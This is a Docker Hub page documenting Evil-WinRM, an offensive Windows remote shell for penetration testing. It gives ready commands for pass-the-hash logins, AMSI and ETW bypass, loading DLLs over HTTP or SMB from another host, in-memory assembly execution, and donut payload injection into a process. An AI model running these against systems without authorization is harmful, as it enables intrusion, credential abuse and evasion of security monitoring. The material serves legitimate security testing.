oscarakaelvis/evil-winrm

By oscarakaelvis

•Updated 13 days ago

The ultimate WinRM shell for hacking/pentesting

Image

Security

10K+

Overview Tags

oscarakaelvis/evil-winrm repository overview

⁠Evil-WinRM

⁠Description & Purpose

WinRM (Windows Remote Management) is Microsoft's implementation of the WS-Management protocol. It allows hardware and operating systems from different vendors to interoperate and is commonly enabled on Windows systems.

Evil-WinRM provides an easy-to-use shell for authorized penetration testing, security auditing and educational purposes. It uses the WinRM Ruby library and PSRP (PowerShell Remoting Protocol) to initialize runspace pools and process pipelines.

⁠Features

Compatible with Linux, Windows and macOS client systems
Load PowerShell scripts into memory
Load DLL files into memory
Execute C# assemblies from memory
Load x64 payloads generated with donut⁠
Dynamic AMSI bypass
ETW (Event Tracing for Windows) bypass
Pass-the-hash authentication
Kerberos authentication with ccache and kirbi support
SSL and certificate authentication
Upload and download files with progress indicators
List remote services without administrator privileges
Persistent command history
WinRM command completion
Local file and directory completion
Remote path completion
Optional colored output
Optional session logging
Ctrl+C protection
Customizable user agent
exit, quit and Ctrl+D shell termination

⁠Docker image

Pull the latest image:

docker pull oscarakaelvis/evil-winrm

Display the available options:

docker run --rm -ti oscarakaelvis/evil-winrm -h

Connect using a password:

docker run --rm -ti oscarakaelvis/evil-winrm \
  -i 192.168.1.100 \
  -u Administrator \
  -p 'MySuperSecr3tPass123!'

To avoid exposing the password in the command line, omit -p. Evil-WinRM will request it interactively:

docker run --rm -ti oscarakaelvis/evil-winrm \
  -i 192.168.1.100 \
  -u Administrator

⁠Using volumes

Mount local directories to load PowerShell scripts, execute C# assemblies, upload files and store downloaded files:

docker run --rm -ti \
  -v /home/foo/ps1_scripts:/ps1_scripts \
  -v /home/foo/exe_files:/exe_files \
  -v /home/foo/data:/data \
  oscarakaelvis/evil-winrm \
  -i 192.168.1.100 \
  -u Administrator \
  -p 'MySuperSecr3tPass123!' \
  -s /ps1_scripts \
  -e /exe_files

When using the Docker image, local upload and download paths should point to a mounted directory such as /data.

Example:

upload /data/local_file.txt C:\Users\Administrator\Documents\local_file.txt
download C:\Users\Administrator\Documents\remote_file.txt /data/remote_file.txt

⁠Usage

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH] [-k PRIVATE_KEY_PATH] [-r REALM] [-K TICKET_FILE] [--spn SPN_PREFIX] [-l]

    -S, --ssl                        Enable SSL
    -c, --pub-key PUBLIC_KEY_PATH    Local path to public key certificate
    -k, --priv-key PRIVATE_KEY_PATH  Local path to private key
    -r, --realm DOMAIN               Kerberos realm
    -K, --ccache TICKET_FILE         Path to a ccache or kirbi ticket file
    -s, --scripts PS_SCRIPTS_PATH    Local PowerShell scripts path
        --spn SPN_PREFIX             SPN prefix for Kerberos (default: HTTP)
    -e, --executables EXES_PATH      Local C# executable path
    -i, --ip IP                      Remote host IP address or hostname
    -U, --url URL                    Remote endpoint (default: /wsman)
    -u, --user USER                  Username
    -p, --password PASS              Password
    -H, --hash HASH                  NT hash
    -P, --port PORT                  Remote port (default: 5985)
    -a, --user-agent USERAGENT       Connection user agent
    -V, --version                    Show version
    -n, --no-colors                  Disable colors
    -N, --no-rpath-completion        Disable remote path completion
    -l, --log                        Log the WinRM session
    -h, --help                       Display help

⁠Authentication examples

⁠Password

docker run --rm -ti oscarakaelvis/evil-winrm \
  -i 192.168.1.100 \
  -u Administrator \
  -p 'Password'

⁠Pass the hash

docker run --rm -ti oscarakaelvis/evil-winrm \
  -i 192.168.1.100 \
  -u Administrator \
  -H 2B576ACBE6BCFDA7294D6BD18041B8FE

⁠SSL

docker run --rm -ti oscarakaelvis/evil-winrm \
  -i 192.168.1.100 \
  -u Administrator \
  -p 'Password' \
  -S

⁠Certificates

Mount the directory containing the certificate and private key:

docker run --rm -ti \
  -v /home/foo/certificates:/certificates:ro \
  oscarakaelvis/evil-winrm \
  -i 192.168.1.100 \
  -S \
  -c /certificates/public.pem \
  -k /certificates/private.pem

⁠Kerberos

Kerberos authentication requires the appropriate realm configuration and a hostname or FQDN for the target.

Mount the Kerberos configuration and ticket file:

docker run --rm -ti \
  -v /etc/krb5.conf:/etc/krb5.conf:ro \
  -v /home/foo/tickets:/tickets:ro \
  oscarakaelvis/evil-winrm \
  -i server.contoso.com \
  -r CONTOSO.COM \
  -K /tickets/ticket.ccache

Both ccache and kirbi ticket files are supported. The ticket format is detected automatically, and kirbi tickets are converted when the required converter is available.

A typical realm configuration looks like:

[realms]
CONTOSO.COM = {
    kdc = dc.contoso.com
}

⁠Basic shell commands

upload: upload a local file to the remote host.
download: download a remote file.
services: list services and show the current account's permissions.
menu: load and display available Evil-WinRM functions.
clear or cls: clear the terminal. Ctrl+L can also be used.
exit or quit: close the shell. Ctrl+D can also be used.

Examples:

upload /data/tool.exe C:\Windows\Temp\tool.exe
download C:\Windows\Temp\output.txt /data/output.txt
services
menu
clear
quit

⁠Loading PowerShell scripts

Set the scripts directory with -s and mount it into the container:

docker run --rm -ti \
  -v /home/foo/ps1_scripts:/ps1_scripts:ro \
  oscarakaelvis/evil-winrm \
  -i 192.168.1.100 \
  -u Administrator \
  -s /ps1_scripts

Inside the Evil-WinRM shell, enter the script filename:

PowerView.ps1

Type menu afterward to list the newly available functions. Script names support local completion with the Tab key.

⁠Executing C# assemblies

Set the executable directory with -e and mount it into the container:

docker run --rm -ti \
  -v /home/foo/exe_files:/exe_files:ro \
  oscarakaelvis/evil-winrm \
  -i 192.168.1.100 \
  -u Administrator \
  -e /exe_files

Load the Evil-WinRM functions with:

menu

Then execute an assembly in memory:

Invoke-Binary /exe_files/Tool.exe
Invoke-Binary /exe_files/Tool.exe 'param1, param2'

⁠DLL and Donut loaders

Dll-Loader loads a DLL from a local, SMB or HTTP location:

Dll-Loader -local -path C:\Users\Administrator\Documents\library.dll
Dll-Loader -smb -path \\192.168.1.10\share\library.dll
Dll-Loader -http -path http://192.168.1.10/library.dll

Donut-Loader loads an x64 payload generated with donut⁠:

Donut-Loader -process_id 2195 -donutfile /data/payload.bin

⁠Remote path completion

Remote file and directory completion is enabled by default. Press Tab while entering a remote path to complete it.

It can be disabled with:

docker run --rm -ti oscarakaelvis/evil-winrm \
  -i 192.168.1.100 \
  -u Administrator \
  -N

⁠Command history

Evil-WinRM keeps a persistent history for each host and user combination. To preserve it between containers, mount the history directory:

docker run --rm -ti \
  -v /home/foo/evil-winrm-history:/root/.evil-winrm/history \
  oscarakaelvis/evil-winrm \
  -i 192.168.1.100 \
  -u Administrator

Use the Up and Down arrow keys to navigate through previous commands.

⁠Logging

Enable session logging with -l:

docker run --rm -ti \
  -v /home/foo/evil-winrm-logs:/root/.evil-winrm \
  oscarakaelvis/evil-winrm \
  -i 192.168.1.100 \
  -u Administrator \
  -l

⁠OpenSSL errors

If an OpenSSL configuration prevents legacy algorithms such as MD4 from being used, Evil-WinRM may display an OpenSSL::Digest::DigestError.

A compatible OpenSSL provider configuration may be mounted inside the container when necessary:

openssl_conf = openssl_init

[openssl_init]
providers = provider_sect

[provider_sect]
default = default_sect
legacy = legacy_sect

[default_sect]
activate = 1

[legacy_sect]
activate = 1

Launch the container with the corresponding environment variable:

docker run --rm -ti \
  -v /home/foo/evil-tls.conf:/etc/evil-tls.conf:ro \
  -e OPENSSL_CONF=/etc/evil-tls.conf \
  oscarakaelvis/evil-winrm \
  -i 192.168.1.100 \
  -u Administrator

⁠Project links

⁠Credits

Staff:

Thanks to all Evil-WinRM contributors and to the projects that make its functionality possible.

⁠Disclaimer & License

This project is licensed under LGPLv3+. See the license⁠.

Evil-WinRM must only be used for authorized penetration testing, security auditing and nonprofit educational purposes. Any misuse of this software is the responsibility of the user.

Tag summary

Recent tags

Content type

Image

Digest

sha256:5abe8e0e5…

Size

97.4 MB

Last updated

14 days ago

docker pull oscarakaelvis/evil-winrm